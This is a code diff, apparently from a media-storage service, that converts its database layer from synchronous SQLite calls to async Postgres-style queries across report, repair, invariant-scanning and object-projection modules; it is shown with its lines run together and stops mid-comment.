const byId = (id) => (id ? q.get(`SELECT ${OBJECT_COLS} FROM media_objects WHERE id = ?`, [id]) || null : null);++ const byRef = new Map((await q.all(`SELECT ${OBJECT_COLS} FROM media_objects WHERE legacy_ref IS NOT NULL`)).map(o => [o.legacy_ref, o]));++ const byId = async (id) => (id ? await q.get(`SELECT ${OBJECT_COLS} FROM media_objects WHERE id = ?`, [id]) || null : null);/** Compare one row's projection with its object. Returns the object found (or null). */-- const check = (kind, where, p, linkedId) => {++ const check = async (kind, where, p, linkedId) => {const k = report.kinds[kind];k.rows++;report.total_rows++;-- const found = byRef.get(p.legacy_ref) || byId(linkedId);++ const found = byRef.get(p.legacy_ref) || await byId(linkedId);const problems = [];const diff = {};if (!found) {@@@ -100,29 +100,29 @@ function buildReport(q, { appId = null, limit = 20 } = {}) {return found;};const skip = (kind) => { report.kinds[kind].skipped++; };-- const thumbnailOf = (row, table, parentKind, parent) => {++ const thumbnailOf = async (row, table, parentKind, parent) => {const tp = model.thumbnailProjection(row, parentKind);if (!tp) return;if (tp.skipped) return skip('thumbnail');-- const variant = parent ? q.get("SELECT derived_object_id FROM media_variants WHERE object_id = ? AND variant_name = 'thumbnail'", [parent.id]) : null;-- check('thumbnail', { table, id: row.id, of: parentKind }, tp, variant ? variant.derived_object_id : null);++ const variant = parent ? await q.get("SELECT derived_object_id FROM media_variants WHERE object_id = ? AND variant_name = 'thumbnail'", [parent.id]) : null;++ await check('thumbnail', { table, id: row.id, of: parentKind }, tp, variant ? variant.derived_object_id : null);};-- for (const row of eachRow(q, 'vods', 'id', { appId })) {++ for await (const row of await eachRow(q, 'vods', 'id', { appId })) {const p = model.vodProjection(row);if (p.skipped) { skip('vod'); continue; }-- thumbnailOf(row, 'vods', 'vod', check('vod', { table: 'vods', id: row.id }, p, row.object_id));++ await thumbnailOf(row, 'vods', 'vod', await check('vod', { table: 'vods', id: row.id }, p, row.object_id));}-- for (const row of eachRow(q, 'clips', 'id', { appId })) {-- thumbnailOf(row, 'clips', 'clip', check('clip', { table: 'clips', id: row.id }, model.clipProjection(row), row.object_id));++ for await (const row of await eachRow(q, 'clips', 'id', { appId })) {++ await thumbnailOf(row, 'clips', 'clip', await check('clip', { table: 'clips', id: row.id }, model.clipProjection(row), row.object_id));}-- for (const row of eachRow(q, 'files', 'key', { appId })) {-- check('file', { table: 'files', id: row.key }, model.fileProjection(row), row.object_id);++ for await (const row of await eachRow(q, 'files', 'key', { appId })) {++ await check('file', { table: 'files', id: row.key }, model.fileProjection(row), row.object_id);}-- for (const row of eachRow(q, 'pastes', 'id', { appId, where: "type = 'screenshot'" })) {++ for await (const row of await eachRow(q, 'pastes', 'id', { appId, where: "type = 'screenshot'" })) {const p = model.pasteProjection(row);if (p.skipped) { skip('screenshot'); continue; }-- check(p.kind, { table: 'pastes', id: row.id, slug: row.slug }, p, row.object_id);++ await check(p.kind, { table: 'pastes', id: row.id, slug: row.slug }, p, row.object_id);}return report;}@@@ -80,21 +80,21 @@ function plan(item, probes = {}, facts = {}) {* Apply one planned change. h = better-sqlite3 handle. facts: { size, sha256 } of the good bytes (rebaseline,* regenerate). → the change with old values, or { skipped } when the row moved on.*/--function apply(h, step, facts = {}) {-- const cur = h.prepare('SELECT id, size_bytes, content_hash, lifecycle_status FROM media_objects WHERE id = ?').get(step.object_id);++async function apply(h, step, facts = {}) {++ const cur = await h.prepare('SELECT id, size_bytes, content_hash, lifecycle_status FROM media_objects WHERE id = ?').get(step.object_id);if (!cur) return { ...step, skipped: 'object gone' };const obj = { ...cur, ...(step.read || {}) };-- const tx = h.transaction(() => {++ const tx = async () => await h.tx(async () => {if (step.action === 'rebaseline' || step.action === 'regenerate' || step.action === 'resize') {const provider = step.action === 'regenerate' ? 'local' : step.provider;-- const loc = h.prepare('SELECT id, state, size_bytes FROM media_locations WHERE object_id = ? AND provider = ?').get(obj.id, provider);++ const loc = await h.prepare('SELECT id, state, size_bytes FROM media_locations WHERE object_id = ? AND provider = ?').get(obj.id, provider);if (!loc) return { ...step, skipped: `no ${provider} location` };if (step.action === 'resize' && facts.sha256 !== obj.content_hash) return { ...step, skipped: 'the copy does not hash to the object\'s content_hash' };-- const r = h.prepare("UPDATE media_objects SET size_bytes = ?, content_hash = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ? AND size_bytes IS ? AND content_hash IS ?")++ const r = await h.prepare("UPDATE media_objects SET size_bytes = ?, content_hash = ?, updated_at = ov_now() WHERE id = ? AND size_bytes IS NOT DISTINCT FROM ? AND content_hash IS NOT DISTINCT FROM ?").run(facts.size, facts.sha256, obj.id, obj.size_bytes, obj.content_hash);if (!r.changes) return { ...step, skipped: 'the object changed since it was read' };-- h.prepare("UPDATE media_locations SET state = 'present', size_bytes = ?, verified_at = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP WHERE id = ?").run(facts.size, loc.id);-- const legacy = step.action === 'regenerate' ? null : legacySize(h, step.legacy_ref, facts.size);++ await h.prepare("UPDATE media_locations SET state = 'present', size_bytes = ?, verified_at = ov_now(), updated_at = ov_now() WHERE id = ?").run(facts.size, loc.id);++ const legacy = step.action === 'regenerate' ? null : await legacySize(h, step.legacy_ref, facts.size);return {...step,old: { size_bytes: obj.size_bytes, content_hash: obj.content_hash, location_state: loc.state, location_size: loc.size_bytes, ...(legacy ? { legacy_file_size: legacy.old } : {}) },@@@ -102,47 +102,47 @@ function apply(h, step, facts = {}) {};}if (step.action === 'failed_recording') {-- const r = h.prepare("UPDATE media_objects SET lifecycle_status = 'failed', updated_at = CURRENT_TIMESTAMP WHERE id = ? AND lifecycle_status = ?").run(obj.id, obj.lifecycle_status);++ const r = await h.prepare("UPDATE media_objects SET lifecycle_status = 'failed', updated_at = ov_now() WHERE id = ? AND lifecycle_status = ?").run(obj.id, obj.lifecycle_status);if (!r.changes) return { ...step, skipped: 'the object changed since it was read' };return { ...step, old: { lifecycle_status: obj.lifecycle_status }, new: { lifecycle_status: 'failed' } };}return { ...step, skipped: 'nothing to write' };});-- return tx();++ return await tx();}/*** The legacy vods row behind a VOD object gets the object's size (file_size), so the projection from that* row (vodProjection) agrees with the object. Inside apply()'s transaction. → { old } or null (no row).*/--function legacySize(h, legacyRef, size) {++async function legacySize(h, legacyRef, size) {const m = VOD_REF.exec(String(legacyRef || ''));if (!m) return null;-- const hasTable = h.prepare("SELECT 1 FROM sqlite_master WHERE type = 'table' AND name = 'vods'").get();-- const row = hasTable && h.prepare('SELECT file_size FROM vods WHERE id = ?').get(Number(m[1]));++ const hasTable = await h.prepare("SELECT 1 FROM information_schema.tables WHERE table_schema = current_schema() AND table_name = 'vods'").get();++ const row = hasTable && await h.prepare('SELECT file_size FROM vods WHERE id = ?').get(Number(m[1]));if (!row) return null;-- h.prepare('UPDATE vods SET file_size = ? WHERE id = ?').run(size, Number(m[1]));++ await h.prepare('UPDATE vods SET file_size = ? WHERE id = ?').run(size, Number(m[1]));return { old: row.file_size };}/** Undo one applied change where the row still holds what the repair wrote. → { restored } | { skipped } */--function rollback(h, change) {++async function rollback(h, change) {if (!change || !change.old || !change.new) return { ...change, skipped: 'not an applied change' };-- const tx = h.transaction(() => {++ const tx = async () => await h.tx(async () => {if (change.action === 'failed_recording') {-- const r = h.prepare('UPDATE media_objects SET lifecycle_status = ? WHERE id = ? AND lifecycle_status = ?').run(change.old.lifecycle_status, change.object_id, change.new.lifecycle_status);++ const r = await h.prepare('UPDATE media_objects SET lifecycle_status = ? WHERE id = ? AND lifecycle_status = ?').run(change.old.lifecycle_status, change.object_id, change.new.lifecycle_status);return r.changes ? { ...change, restored: true } : { ...change, skipped: 'the row changed since' };}-- const r = h.prepare('UPDATE media_objects SET size_bytes = ?, content_hash = ? WHERE id = ? AND size_bytes IS ? AND content_hash IS ?')++ const r = await h.prepare('UPDATE media_objects SET size_bytes = ?, content_hash = ? WHERE id = ? AND size_bytes IS NOT DISTINCT FROM ? AND content_hash IS NOT DISTINCT FROM ?').run(change.old.size_bytes, change.old.content_hash, change.object_id, change.new.size_bytes, change.new.content_hash);if (!r.changes) return { ...change, skipped: 'the row changed since' };const provider = change.action === 'regenerate' ? 'local' : change.provider;-- h.prepare('UPDATE media_locations SET state = ?, size_bytes = ? WHERE object_id = ? AND provider = ?').run(change.old.location_state, change.old.location_size, change.object_id, provider);++ await h.prepare('UPDATE media_locations SET state = ?, size_bytes = ? WHERE object_id = ? AND provider = ?').run(change.old.location_state, change.old.location_size, change.object_id, provider);const m = VOD_REF.exec(String(change.legacy_ref || ''));-- if (m && 'legacy_file_size' in change.old) h.prepare('UPDATE vods SET file_size = ? WHERE id = ? AND file_size IS ?').run(change.old.legacy_file_size, Number(m[1]), change.new.legacy_file_size);++ if (m && 'legacy_file_size' in change.old) await h.prepare('UPDATE vods SET file_size = ? WHERE id = ? AND file_size IS NOT DISTINCT FROM ?').run(change.old.legacy_file_size, Number(m[1]), change.new.legacy_file_size);return { ...change, restored: true };});-- return tx();++ return await tx();}module.exports = { plan, apply, rollback, judgeProbe, MIN_SECONDS, SHOT_RE };@@@ -47,22 +47,22 @@ function validate(obj, t = thresholds()) {}/** Upsert (warn/violation) or resolve this object's violation row. Returns the level recorded, or null. */--function record(obj, t = thresholds()) {++async function record(obj, t = thresholds()) {if (!obj) return null;const v = validate(obj, t);-- const open = db.get('SELECT * FROM media_invariant_violations WHERE object_id = ?', [obj.id]);++ const open = await db.get('SELECT * FROM media_invariant_violations WHERE object_id = ?', [obj.id]);if (v.public_playback && (v.level === 'warn' || v.level === 'violation')) {if (open) {-- db.run(`UPDATE media_invariant_violations SET level = ?, size_bytes = ?, threshold_bytes = ?, last_seen_at = CURRENT_TIMESTAMP,-- resolved_at = NULL, detected_at = CASE WHEN resolved_at IS NULL THEN detected_at ELSE CURRENT_TIMESTAMP END++ await db.run(`UPDATE media_invariant_violations SET level = ?, size_bytes = ?, threshold_bytes = ?, last_seen_at = ov_now(),++ resolved_at = NULL, detected_at = CASE WHEN resolved_at IS NULL THEN detected_at ELSE ov_now() ENDWHERE id = ?`, [v.level, v.size_bytes, v.threshold_bytes, open.id]);} else {-- db.run('INSERT INTO media_invariant_violations (object_id, level, size_bytes, threshold_bytes) VALUES (?, ?, ?, ?)',++ await db.run('INSERT INTO media_invariant_violations (object_id, level, size_bytes, threshold_bytes) VALUES (?, ?, ?, ?) RETURNING id',[obj.id, v.level, v.size_bytes, v.threshold_bytes]);}return v.level;}-- if (open && !open.resolved_at) db.run('UPDATE media_invariant_violations SET resolved_at = CURRENT_TIMESTAMP WHERE id = ?', [open.id]);++ if (open && !open.resolved_at) await db.run('UPDATE media_invariant_violations SET resolved_at = ov_now() WHERE id = ?', [open.id]);return null;}@@@ -70,9 +70,9 @@ function record(obj, t = thresholds()) {* Scan every public playback object. Returns { thresholds, counts, objects } where* objects lists everything above target (largest first). record=false is a dry run.*/--function scan({ record: write = true, appId = null } = {}) {++async function scan({ record: write = true, appId = null } = {}) {const t = thresholds();-- const rows = db.all(`SELECT * FROM media_objects WHERE kind IN ('vod', 'clip') AND visibility != 'private' AND lifecycle_status = 'ready'++ const rows = await db.all(`SELECT * FROM media_objects WHERE kind IN ('vod', 'clip') AND visibility != 'private' AND lifecycle_status = 'ready'${appId ? 'AND app_id = ?' : ''} ORDER BY size_bytes DESC`, appId ? [appId] : []);const counts = { ok: 0, above_target: 0, warn: 0, violation: 0 };const objects = [];@@@ -80,13 +80,13 @@ function scan({ record: write = true, appId = null } = {}) {const v = validate(obj, t);counts[v.level]++;if (v.level !== 'ok') objects.push({ ...v, app_id: obj.app_id, legacy_ref: obj.legacy_ref });-- if (write) record(obj, t);++ if (write) await record(obj, t);}// Objects that stopped being public playback (made private, deleted) resolve too.if (write) {-- const stale = db.all(`SELECT o.*, v.id AS violation_id FROM media_invariant_violations v LEFT JOIN media_objects o ON o.id = v.object_id++ const stale = await db.all(`SELECT o.*, v.id AS violation_id FROM media_invariant_violations v LEFT JOIN media_objects o ON o.id = v.object_idWHERE v.resolved_at IS NULL`);-- for (const s of stale) if (!isPublicPlayback(s)) db.run('UPDATE media_invariant_violations SET resolved_at = CURRENT_TIMESTAMP WHERE id = ?', [s.violation_id]);++ for (const s of stale) if (!isPublicPlayback(s)) await db.run('UPDATE media_invariant_violations SET resolved_at = ov_now() WHERE id = ?', [s.violation_id]);}return { thresholds: t, counts, objects };}@@@ -78,54 +78,54 @@ const vodStorage = () => require('../vod/vod-storage');// ── Reads ────────────────────────────────────────────────────--function getObject(id) {-- return id ? db.get('SELECT * FROM media_objects WHERE id = ?', [id]) : null;++async function getObject(id) {++ return id ? await db.get('SELECT * FROM media_objects WHERE id = ?', [id]) : null;}--function getObjectByLegacyRef(ref) {-- return ref ? db.get('SELECT * FROM media_objects WHERE legacy_ref = ?', [ref]) : null;++async function getObjectByLegacyRef(ref) {++ return ref ? await db.get('SELECT * FROM media_objects WHERE legacy_ref = ?', [ref]) : null;}/** An object by med_ id or legacy ref, scoped to one tenant (null when it belongs to another). */--function resolveObject(idOrRef, appId) {++async function resolveObject(idOrRef, appId) {const key = String(idOrRef || '');-- const obj = key.startsWith('legacy:') ? getObjectByLegacyRef(key) : getObject(key);++ const obj = key.startsWith('legacy:') ? await getObjectByLegacyRef(key) : await getObject(key);return obj && obj.app_id === appId ? obj : null;}--function listLocations(objectId) {-- return db.all('SELECT * FROM media_locations WHERE object_id = ? ORDER BY id', [objectId]);++async function listLocations(objectId) {++ return await db.all('SELECT * FROM media_locations WHERE object_id = ? ORDER BY id', [objectId]);}--function listHolds(objectId, { includeReleased = false } = {}) {-- return db.all(`SELECT * FROM media_holds WHERE object_id = ?${includeReleased ? '' : ' AND released_at IS NULL'} ORDER BY id`, [objectId]);++async function listHolds(objectId, { includeReleased = false } = {}) {++ return await db.all(`SELECT * FROM media_holds WHERE object_id = ?${includeReleased ? '' : ' AND released_at IS NULL'} ORDER BY id`, [objectId]);}/** Unreleased holds a clip inherits from its source VOD (clip_of, or the clip row's vod_id), each with inherited_from. */--function inheritedHolds(objectId) {++async function inheritedHolds(objectId) {if (!objectId) return [];-- return db.all(`SELECT h.*, h.object_id AS inherited_from FROM media_holds h WHERE h.released_at IS NULL AND h.object_id != @id AND (++ return await db.all(`SELECT h.*, h.object_id AS inherited_from FROM media_holds h WHERE h.released_at IS NULL AND h.object_id != @id AND (h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = @id AND r.relation = 'clip_of')OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = @id)) ORDER BY h.id`, { id: objectId });}/** Under an unreleased hold: its own, or (a clip) its source VOD's. The delete triggers apply the same rule (db.heldSql). */--function isHeld(objectId) {++async function isHeld(objectId) {if (!objectId) return false;-- return !!db.get(`SELECT ${db.heldSql('@id')} AS held`, { id: objectId }).held;++ return !!(await db.get(`SELECT ${db.heldSql('@id')} AS held`, { id: objectId })).held;}/*** Hold check for an inherited row (vods/clips/files/pastes). A clip row also follows its source VOD's* hold before it has an object of its own; any other row with no object yet is not held.*/--function isHeldRow(row) {++async function isHeldRow(row) {try {if (!row) return false;-- if (row.object_id && isHeld(row.object_id)) return true;++ if (row.object_id && await isHeld(row.object_id)) return true;if (row.vod_id != null) {-- const vod = db.get('SELECT object_id FROM vods WHERE id = ?', [row.vod_id]);-- return !!(vod && vod.object_id && isHeld(vod.object_id));++ const vod = await db.get('SELECT object_id FROM vods WHERE id = ?', [row.vod_id]);++ return !!(vod && vod.object_id && await isHeld(vod.object_id));}return false;} catch { return false; }@@@ -137,24 +137,24 @@ const OBJECT_COLUMNS = ['app_id', 'namespace', 'kind', 'owner_subject', 'owner_a'lifecycle_status', 'mime_type', 'size_bytes', 'content_hash', 'canonical_provider', 'canonical_key', 'legacy_ref', 'metadata', 'deleted_at'];/** The root namespace of tenant `appId`: its app id, or app.<project_id>[.sandbox] for a developer project. */--function tenantRoot(appId) {-- return db.rootNamespace(db.getApp(appId) || { app_id: appId });++async function tenantRoot(appId) {++ return db.rootNamespace(await db.getApp(appId) || { app_id: appId });}--function createObject(o) {++async function createObject(o) {if (!KINDS.includes(o.kind)) throw new Error(`unknown kind ${o.kind}`);const id = ids.newId('media', o.createdMs);-- db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, owner_app, owner_user_id, visibility,++ await db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, owner_app, owner_user_id, visibility,lifecycle_status, mime_type, size_bytes, content_hash, canonical_provider, canonical_key, legacy_ref, metadata, created_at)-- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, CURRENT_TIMESTAMP))`,-- [id, o.app_id, o.namespace || tenantRoot(o.app_id), o.kind, o.owner_subject || null, o.owner_app || null, o.owner_user_id ?? null,++ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, ov_now()))`,++ [id, o.app_id, o.namespace || await tenantRoot(o.app_id), o.kind, o.owner_subject || null, o.owner_app || null, o.owner_user_id ?? null,VISIBILITIES.includes(o.visibility) ? o.visibility : 'private', LIFECYCLES.includes(o.lifecycle_status) ? o.lifecycle_status : 'uploading',o.mime_type || null, Number(o.size_bytes) || 0, o.content_hash || null, o.canonical_provider || null, o.canonical_key || null,o.legacy_ref || null, JSON.stringify(o.metadata || {}), o.created_at || null]);return id;}--function updateObject(id, fields) {++async function updateObject(id, fields) {const sets = [], params = [];for (const [k, v] of Object.entries(fields)) {if (!OBJECT_COLUMNS.includes(k)) continue;@@@ -163,26 +163,26 @@ function updateObject(id, fields) {}if (!sets.length) return;params.push(id);-- db.run(`UPDATE media_objects SET ${sets.join(', ')}, updated_at = CURRENT_TIMESTAMP WHERE id = ?`, params);++ await db.run(`UPDATE media_objects SET ${sets.join(', ')}, updated_at = ov_now() WHERE id = ?`, params);}/*** Upsert one provider copy. A remote copy re-derived as 'pending' keeps what* reconciliation already verified about the same key (never downgrade knowledge).*/--function upsertLocation(objectId, loc) {-- const existing = db.get('SELECT * FROM media_locations WHERE object_id = ? AND provider = ?', [objectId, loc.provider]);++async function upsertLocation(objectId, loc) {++ const existing = await db.get('SELECT * FROM media_locations WHERE object_id = ? AND provider = ?', [objectId, loc.provider]);const verifiedAt = loc.verified ? new Date().toISOString().replace('T', ' ').slice(0, 19) : null;if (!existing) {-- db.run(`INSERT INTO media_locations (object_id, provider, bucket, key, storage_class, state, checksum, size_bytes, verified_at)-- VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`,++ await db.run(`INSERT INTO media_locations (object_id, provider, bucket, key, storage_class, state, checksum, size_bytes, verified_at)++ VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) RETURNING id`,[objectId, loc.provider, loc.bucket || null, loc.key, loc.storage_class || STORAGE_CLASS[loc.provider] || null,loc.state || 'pending', loc.checksum || null, loc.size_bytes ?? null, verifiedAt]);return;}const keep = existing.key === loc.key && (loc.state || 'pending') === 'pending' && existing.state !== 'pending';-- db.run(`UPDATE media_locations SET bucket = ?, key = ?, storage_class = ?, state = ?, checksum = ?, size_bytes = ?, verified_at = ?,-- updated_at = CURRENT_TIMESTAMP WHERE id = ?`,++ await db.run(`UPDATE media_locations SET bucket = ?, key = ?, storage_class = ?, state = ?, checksum = ?, size_bytes = ?, verified_at = ?,++ updated_at = ov_now() WHERE id = ?`,[loc.bucket ?? existing.bucket, loc.key, loc.storage_class || existing.storage_class,keep ? existing.state : (loc.state || 'pending'),loc.clearChecksum ? null : (loc.checksum ?? (existing.key === loc.key ? existing.checksum : null)),@@@ -191,25 +191,25 @@ function upsertLocation(objectId, loc) {existing.id]);}--function setLocationState(locationId, { state, size_bytes, verified = true }) {-- db.run(`UPDATE media_locations SET state = ?, size_bytes = COALESCE(?, size_bytes), verified_at = ${verified ? 'CURRENT_TIMESTAMP' : 'verified_at'},-- updated_at = CURRENT_TIMESTAMP WHERE id = ?`, [state, size_bytes ?? null, locationId]);++async function setLocationState(locationId, { state, size_bytes, verified = true }) {++ await db.run(`UPDATE media_locations SET state = ?, size_bytes = COALESCE(?, size_bytes), verified_at = ${verified ? 'ov_now()' : 'verified_at'},++ updated_at = ov_now() WHERE id = ?`, [state, size_bytes ?? null, locationId]);}--function setRelationship(fromId, relation, toId, metadata = {}) {-- db.run(`INSERT INTO media_relationships (from_object_id, relation, to_object_id, metadata) VALUES (?, ?, ?, ?)-- ON CONFLICT(from_object_id, relation, to_object_id) DO UPDATE SET metadata = excluded.metadata`,++async function setRelationship(fromId, relation, toId, metadata = {}) {++ await db.run(`INSERT INTO media_relationships (from_object_id, relation, to_object_id, metadata) VALUES (?, ?, ?, ?)++ ON CONFLICT(from_object_id, relation, to_object_id) DO UPDATE SET metadata = excluded.metadata RETURNING id`,[fromId, relation, toId, JSON.stringify(metadata)]);}--function setVariant(objectId, variantName, derivedId, recipe = null) {-- db.run(`INSERT INTO media_variants (object_id, variant_name, derived_object_id, recipe) VALUES (?, ?, ?, ?)-- ON CONFLICT(object_id, variant_name) DO UPDATE SET derived_object_id = excluded.derived_object_id, recipe = excluded.recipe`,++async function setVariant(objectId, variantName, derivedId, recipe = null) {++ await db.run(`INSERT INTO media_variants (object_id, variant_name, derived_object_id, recipe) VALUES (?, ?, ?, ?)++ ON CONFLICT(object_id, variant_name) DO UPDATE SET derived_object_id = excluded.derived_object_id, recipe = excluded.recipe RETURNING id`,[objectId, variantName, derivedId, recipe]);}--function getVariant(objectId, variantName) {-- return db.get('SELECT * FROM media_variants WHERE object_id = ? AND variant_name = ?', [objectId, variantName]);++async function getVariant(objectId, variantName) {++ return await db.get('SELECT * FROM media_variants WHERE object_id = ? AND variant_name = ?', [objectId, variantName]);}// ── Projection core ──────────────────────────────────────────@@@ -220,11 +220,11 @@ function getVariant(objectId, variantName) {* p.locations [{ provider, bucket, key, state, size_bytes, checksum }]* p.canonical preferred canonical provider (falls back to the first location)*/--function project(p) {-- const found = getObjectByLegacyRef(p.legacy_ref) || (p.existingId ? getObject(p.existingId) : null);++async function project(p) {++ const found = await getObjectByLegacyRef(p.legacy_ref) || (p.existingId ? await getObject(p.existingId) : null);const canon = p.locations.find(l => l.provider === p.canonical) || p.locations[0] || null;const fields = {-- app_id: p.app_id, namespace: tenantRoot(p.app_id), kind: p.kind,++ app_id: p.app_id, namespace: await tenantRoot(p.app_id), kind: p.kind,owner_app: p.owner_app || p.app_id, owner_user_id: p.owner_user_id ?? null,visibility: p.visibility, lifecycle_status: p.lifecycle_status,mime_type: p.mime_type || null, size_bytes: Number(p.size_bytes) || 0, content_hash: p.content_hash || null,@@@ -256,14 +256,14 @@ function project(p) {if (String(found.owner_app || found.app_id) !== String(fields.owner_app) || String(found.owner_user_id ?? '') !== String(fields.owner_user_id ?? '')) {fields.owner_subject = null;}-- updateObject(id, fields);++ await updateObject(id, fields);} else {-- id = createObject({ ...fields, createdMs: toMs(p.created_at), created_at: p.created_at || null });++ id = await createObject({ ...fields, createdMs: toMs(p.created_at), created_at: p.created_at || null });created = true;}const keep = new Set(p.locations.map(l => l.provider));-- for (const loc of p.locations) upsertLocation(id, staleHash && loc.provider === 'local' ? { ...loc, clearChecksum: true } : loc);-- for (const l of listLocations(id)) if (!keep.has(l.provider)) db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);++ for (const loc of p.locations) await upsertLocation(id, staleHash && loc.provider === 'local' ? { ...loc, clearChecksum: true } : loc);++ for (const l of await listLocations(id)) if (!keep.has(l.provider)) await db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);return { id, created };}@@@ -292,12 +292,12 @@ function tieredLocations(row, localCandidates) {return { locs, canonical: remoteKnown ? 'b2' : 'local' };}--function linkRow(table, keyCol, keyVal, objectId) {-- db.run(`UPDATE ${table} SET object_id = ? WHERE ${keyCol} = ? AND (object_id IS NULL OR object_id != ?)`, [objectId, keyVal, objectId]);++async function linkRow(table, keyCol, keyVal, objectId) {++ await db.run(`UPDATE ${table} SET object_id = ? WHERE ${keyCol} = ? AND (object_id IS NULL OR object_id != ?)`, [objectId, keyVal, objectId]);}--function recordInvariant(objectId) {-- try { require('./invariant').record(getObject(objectId)); } catch (err) { console.warn('[Objects] invariant record:', err.message); }++async function recordInvariant(objectId) {++ try { await require('./invariant').record(await getObject(objectId)); } catch (err) { console.warn('[Objects] invariant record:', err.message); }}// ── Per-kind projections ─────────────────────────────────────@@@ -379,49 +379,49 @@ function pasteProjection(row) {};}--function syncVod(idOrRow) {-- const row = typeof idOrRow === 'object' ? idOrRow : db.get('SELECT * FROM vods WHERE id = ?', [idOrRow]);++async function syncVod(idOrRow) {++ const row = typeof idOrRow === 'object' ? idOrRow : await db.get('SELECT * FROM vods WHERE id = ?', [idOrRow]);if (!row) return null;const p = vodProjection(row);if (p.skipped) return p;-- const r = project(p);-- linkRow('vods', 'id', row.id, r.id);-- recordInvariant(r.id);-- const thumbnail = syncThumbnail(row, r.id, 'vod');++ const r = await project(p);++ await linkRow('vods', 'id', row.id, r.id);++ await recordInvariant(r.id);++ const thumbnail = await syncThumbnail(row, r.id, 'vod');return { ...r, locations: p.locations.map(l => l.state), thumbnail };}--function syncClip(idOrRow) {-- const row = typeof idOrRow === 'object' ? idOrRow : db.get('SELECT * FROM clips WHERE id = ?', [idOrRow]);++async function syncClip(idOrRow) {++ const row = typeof idOrRow === 'object' ? idOrRow : await db.get('SELECT * FROM clips WHERE id = ?', [idOrRow]);if (!row) return null;const p = clipProjection(row);-- const r = project(p);-- linkRow('clips', 'id', row.id, r.id);++ const r = await project(p);++ await linkRow('clips', 'id', row.id, r.id);if (row.vod_id) {-- const vod = db.get('SELECT object_id FROM vods WHERE id = ?', [row.vod_id]);-- if (vod && vod.object_id) setRelationship(r.id, 'clip_of', vod.object_id, { start_time: row.start_time, end_time: row.end_time });++ const vod = await db.get('SELECT object_id FROM vods WHERE id = ?', [row.vod_id]);++ if (vod && vod.object_id) await setRelationship(r.id, 'clip_of', vod.object_id, { start_time: row.start_time, end_time: row.end_time });}-- recordInvariant(r.id);-- const thumbnail = syncThumbnail(row, r.id, 'clip');++ await recordInvariant(r.id);++ const thumbnail = await syncThumbnail(row, r.id, 'clip');return { ...r, locations: p.locations.map(l => l.state), thumbnail };}--function syncFile(keyOrRow) {-- const row = typeof keyOrRow === 'object' ? keyOrRow : db.get('SELECT * FROM files WHERE key = ?', [keyOrRow]);++async function syncFile(keyOrRow) {++ const row = typeof keyOrRow === 'object' ? keyOrRow : await db.get('SELECT * FROM files WHERE key = ?', [keyOrRow]);if (!row) return null;const p = fileProjection(row);-- const r = project(p);-- linkRow('files', 'key', row.key, r.id);++ const r = await project(p);++ await linkRow('files', 'key', row.key, r.id);return { ...r, locations: [p.locations[0].state] };}--function syncPaste(idOrRow) {-- const row = typeof idOrRow === 'object' ? idOrRow : db.get('SELECT * FROM pastes WHERE id = ?', [idOrRow]);++async function syncPaste(idOrRow) {++ const row = typeof idOrRow === 'object' ? idOrRow : await db.get('SELECT * FROM pastes WHERE id = ?', [idOrRow]);if (!row) return null;const p = pasteProjection(row);if (p.skipped) return p;-- const r = project(p);-- linkRow('pastes', 'id', row.id, r.id);++ const r = await project(p);++ await linkRow('pastes', 'id', row.id, r.id);return { ...r, kind: p.kind, locations: [p.locations[0].state] };}@@@ -459,13 +459,13 @@ function thumbnailProjection(parentRow, parentKind) {};}--function syncThumbnail(parentRow, parentObjectId, parentKind) {++async function syncThumbnail(parentRow, parentObjectId, parentKind) {const p = thumbnailProjection(parentRow, parentKind);if (!p || p.skipped) return p;-- const variant = getVariant(parentObjectId, 'thumbnail');-- const r = project({ ...p, existingId: variant ? variant.derived_object_id : null });-- setVariant(parentObjectId, 'thumbnail', r.id);-- setRelationship(r.id, 'thumbnail_of', parentObjectId);++ const variant = await getVariant(parentObjectId, 'thumbnail');++ const r = await project({ ...p, existingId: variant ? variant.derived_object_id : null });++ await setVariant(parentObjectId, 'thumbnail', r.id);++ await setRelationship(r.id, 'thumbnail_of', parentObjectId);return { ...r, locations: [p.locations[0].state] };}@@@ -475,15 +475,15 @@ function syncThumbnail(parentRow, parentObjectId, parentKind) {* outer one records the changes at its end, in the same transaction and after its own outcome event,* the order they had when the object was synced after the commit.*/--function _syncTx(fn) {++async function _syncTx(fn) {const events = require('../events');const raw = db.getDb();-- const outer = raw.inTransaction;-- const out = raw.transaction(() => {-- const r = fn();-- if (!outer) events.recordObjectChanges();++ const outer = raw.inTransaction();++ const out = await raw.tx(async () => {++ const r = await fn();++ if (!outer) await events.recordObjectChanges();return r;-- })();++ });if (!outer) events.kick();return out;}@@@ -496,27 +496,27 @@ function _rowIds(ids, out) {}/** Re-project one inherited row: kind vod|clip|file|paste, id = row id (file key for files). */--function sync(kind, id) {++async function sync(kind, id) {const fn = SYNC_BY_KIND[kind];if (!fn || id == null) return null;-- return _syncTx(() => fn(id));++ return await _syncTx(async () => await fn(id));}/*** Never-throwing re-projection, for follow-ups that re-read what is on disk after a write already* committed with its object (see withObject), and for scripts. Not a write path any more.*/--function safeSync(kind, id) {-- try { return sync(kind, id); } catch (err) { console.warn(`[Objects] sync ${kind} ${id}:`, err.message); return null; }++async function safeSync(kind, id) {++ try { return await sync(kind, id); } catch (err) { console.warn(`[Objects] sync ${kind} ${id}:`, err.message); return null; }}/*** Object-first write (WS-G task 1; retires compatibility shim C-75, "write the row, then sync its* object"): write() changes inherited rows and the objects behind them are re-projected in the SAME-- * SQLite transaction, so both commit or neither does: no crash or error between the two can leave++ * transaction, so both commit or neither does: no crash or error between the two can leave* an object behind its row. kind vod|clip|file|paste; ids the row id (a file's key), a list of them,* or a function of write()'s result that gives them (an INSERT's lastInsertRowid). write() must be-- * synchronous 